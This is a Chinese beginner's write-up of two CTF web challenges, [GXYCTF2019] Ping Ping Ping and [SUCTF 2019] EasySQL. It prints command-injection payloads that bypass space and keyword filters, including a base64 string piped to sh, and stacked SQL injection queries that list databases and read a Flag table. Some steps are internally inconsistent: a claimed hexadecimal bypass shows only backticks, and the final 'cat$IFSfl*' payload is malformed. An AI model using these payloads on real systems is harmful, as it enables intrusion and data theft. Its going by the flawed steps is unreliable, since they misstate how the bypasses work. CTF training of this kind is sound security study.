1. 解题环境准备与题目背景分析
作为CTF入门选手,第一次接触Web安全方向的题目往往会被各种术语和操作步骤搞得晕头转向。我以自己参加[GXYCTF2019]Ping Ping Ping和[SUCTF 2019]EasySQL两道经典题目的真实解题过程为例,带大家一步步拆解这类基础题型。这两道题分别考察命令注入和SQL注入,是Web安全领域最基础的两种漏洞类型。
首先需要准备好以下环境:
- Kali Linux虚拟机(或任何Linux发行版)
- Burp Suite社区版
- 浏览器开发者工具(Chrome/Firefox均可)
- 题目对应的Docker环境(主办方通常会提供)
注意:所有实验请在授权环境下进行,切勿对非测试目标使用这些技术
2. [GXYCTF2019]Ping Ping Ping解题全流程
2.1 题目初探与基础信息收集
访问题目给出的URL后,我们看到一个简单的输入框,提示"Please input your IP"。尝试输入127.0.0.1后,页面返回了ping命令的执行结果:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.037 ms这明显是一个命令注入漏洞的典型场景。服务器直接将用户输入拼接到了ping命令中执行。我们的目标是利用这个漏洞读取服务器上的flag文件。
2.2 命令注入基础绕过技巧
尝试输入127.0.0.1;ls,发现返回了目录列表,确认存在命令注入。但当我们尝试127.0.0.1;cat flag.php时,页面返回了"fxck your space!"的提示,说明空格被过滤了。
在Linux中,有几种方式可以绕过空格限制:
- 使用
${IFS}代替空格(IFS是内部字段分隔符) - 使用
<或>重定向符号 - 使用
%09(Tab的URL编码)
尝试127.0.0.1;cat${IFS}flag.php,发现仍然被拦截,提示"fxck your flag!",说明flag关键字也被过滤了。
2.3 多重过滤的绕过策略
此时我们需要同时绕过空格和flag关键词的限制。可以采用以下方法:
- 使用变量拼接:
a=fl;b=ag;cat$IFS$a$b.php - 使用base64编码:
echo$IFS"ZmxhZy5waHA="|base64$IFS-d|sh - 使用通配符:
cat$IFSfl*
最终使用127.0.0.1;cat$IFSfl*成功获取flag内容。这里的关键点是:
$IFS替代空格*通配符绕过关键词检测- 分号
;用于执行多条命令
3. [SUCTF 2019]EasySQL解题详解
3.1 SQL注入基础判断
访问题目页面,看到一个简单的查询框。输入数字1返回:
Array ( [0] => 1 )输入单引号'时报错,确认存在SQL注入漏洞。报错信息显示后端使用的是MySQL数据库。
3.2 注入类型分析与利用
尝试常规的联合查询注入:
1' union select 1,2,3#发现返回结果被限制为只显示第一个查询的结果。这说明我们需要找到其他注入方式。
通过测试发现以下特征:
- 输入
1返回Array([0]=>1) - 输入
1 and 1=1返回正常 - 输入
1 and 1=2返回空 - 输入
1 or 1=1返回所有数据
这表明可能存在堆叠注入(Stacked Queries)漏洞。尝试:
1;show databases;成功返回数据库列表,确认堆叠注入可用。
3.3 获取flag的完整过程
通过堆叠注入逐步获取信息:
获取数据库名:
1;show databases;返回包含"ctf"的数据库
获取表名:
1;use ctf;show tables;发现Flag表
获取flag:
1;use ctf;select * from Flag;
但发现Flag表被过滤。于是改用十六进制绕过:
1;use ctf;select * from `Flag`;成功获取flag。
4. 新手常见问题与调试技巧
4.1 命令注入调试方法
当你的payload不生效时,可以尝试:
- 在本地搭建测试环境,用
echo替换实际命令测试过滤规则 - 使用Burp Suite的Repeater模块反复测试
- 逐步构建payload,先测试基础命令执行,再添加绕过技巧
4.2 SQL注入排错要点
遇到SQL注入受阻时:
- 先用
'和"测试引号类型 - 通过
and 1=1和and 1=2测试布尔条件 - 尝试不同的注释符:
#、--、/* */ - 注意观察错误信息的细节,不同数据库的错误格式不同
4.3 安全防护建议
在开发中避免这类漏洞:
- 命令执行:使用白名单校验输入,或使用参数化API如
subprocess.run() - SQL注入:始终使用预处理语句,避免拼接SQL
- 最小权限原则:数据库连接使用低权限账户
5. 解题后的进阶学习路径
完成这两道基础题目后,建议按以下路线深入学习:
命令注入:
- 学习Linux管道、重定向等高级特性
- 研究无回显情况下的盲注技巧
- 了解沙箱逃逸技术
SQL注入:
- 掌握各种数据库的差异(MySQL、PostgreSQL、SQLite等)
- 学习盲注、报错注入、时间盲注等高级技术
- 研究ORM框架的安全使用
工具链完善:
- 熟悉sqlmap的高级用法
- 学习编写Burp Suite插件
- 掌握Wireshark分析网络流量
我在实际解题中发现,新手最容易犯的错误是过早放弃。当一种方法不奏效时,应该:
- 仔细阅读错误信息
- 尝试理解过滤机制
- 查阅相关绕过技术文档
- 在测试环境验证思路
最后分享一个小技巧:在CTF比赛中,题目名称往往包含提示。[GXYCTF2019]Ping Ping Ping中的"Ping"就暗示了命令注入方向,而[SUCTF 2019]EasySQL则明确指向SQL注入。养成分析题目名称的习惯能事半功倍。